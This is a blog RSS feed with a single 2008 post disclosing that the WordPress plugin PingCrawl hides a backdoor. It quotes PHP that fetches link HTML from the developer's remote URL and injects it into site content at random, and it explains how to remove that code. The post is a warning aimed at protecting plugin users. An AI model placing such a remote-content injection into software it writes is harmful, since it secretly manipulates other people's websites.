<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>anty.info &#187; plugin</title>
	<atom:link href="http://www.anty.info/tag/plugin/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.anty.info</link>
	<description>Comments and help on web development.</description>
	<lastBuildDate>Fri, 11 Jun 2010 14:50:34 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>PingCrawl injects links</title>
		<link>http://www.anty.info/2008/08/06/pingcrawl-injects-links/</link>
		<comments>http://www.anty.info/2008/08/06/pingcrawl-injects-links/#comments</comments>
		<pubDate>Wed, 06 Aug 2008 22:49:55 +0000</pubDate>
		<dc:creator>anty</dc:creator>
				<category><![CDATA[development]]></category>
		<category><![CDATA[pingcrawl]]></category>
		<category><![CDATA[plugin]]></category>
		<category><![CDATA[seo]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://www.anty.info/?p=25</guid>
		<description><![CDATA[How do you get links from all over the blogosphere quickly? You create a famous wordpress plugin and implement a backdoor to inject your own links. Josh, from Josh Team and Eli, from Blue Hat SEO did this with his WordPress plugin &#8220;PingCrawl&#8220;. PingCrawl automatically searches for related posts on other blogs with Googles blogsearch [...]]]></description>
			<content:encoded><![CDATA[<p>How do you get links from all over the blogosphere quickly?</p>
<p>You create a famous wordpress plugin and implement a backdoor to inject your own links.</p>
<p>Josh, from <a href="http://joshteam.wordpress.com/2008/08/05/pingcrawl-wordpress-plugin/">Josh Team</a> and Eli, from Blue Hat SEO did this with his WordPress plugin &#8220;<a href="http://www.bluehatseo.com/new-wordpress-plugin-pingcrawl/">PingCrawl</a>&#8220;.</p>
<p><span id="more-25"></span></p>
<p>PingCrawl automatically searches for related posts on other blogs with <a href="http://blogsearch.google.com/">Googles blogsearch</a> and pings each of them to get a valid backlink. Awesome idea!</p>
<p>If you take a look at the code of the plugin you stumble over this function:<br />
<code class="prettyprint">protected function injection() {
$link = file_get_contents( 'http://www.bluehatseo.com/cgi-bin/findsites.cgi' );
if ( empty( $link ) ) {
$link = '&lt;a href=&quot;http://www.spottedhere.com&quot;&gt;Dallas Nightlife Entertainment&lt;/a&gt;';
}
return $link;
}</code></p>
<p>This function tries to get the content of the website <a href="http://www.bluehatseo.com/cgi-bin/findsites.cgi">http://www.bluehatseo.com/cgi-bin/findsites.cgi</a>. If it doesn&#8217;t get one it will (throw an error and) return default linkcode to http://www.spottedhere.com.</p>
<p>If you read further you&#8217;ll notice this code, which injects the link at a probability of <span style="text-decoration: line-through;">1:6</span> 1:4 for each tag:</p>
<p><code class="prettyprint">$seed = rand( 0, 11 );
if ( $seed &lt;= 2 ) {
$content .= '&lt;li&gt;' . $this-&gt;injection() . '&lt;/li&gt;';
}</code></p>
<p>You are save to remove these two code parts from the plugin, if you want to.</p>
<p>If you want to inject links with a sneaky plugin, you should probably not release it in a post on a SEO blog. Just my thoughts.</p>
<p>I hope Eli will not take this post personally, I just want to protect others who are too lazy to look over the code of PingCrawl.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.anty.info/2008/08/06/pingcrawl-injects-links/feed/</wfw:commentRss>
		<slash:comments>12</slash:comments>
		</item>
	</channel>
</rss>
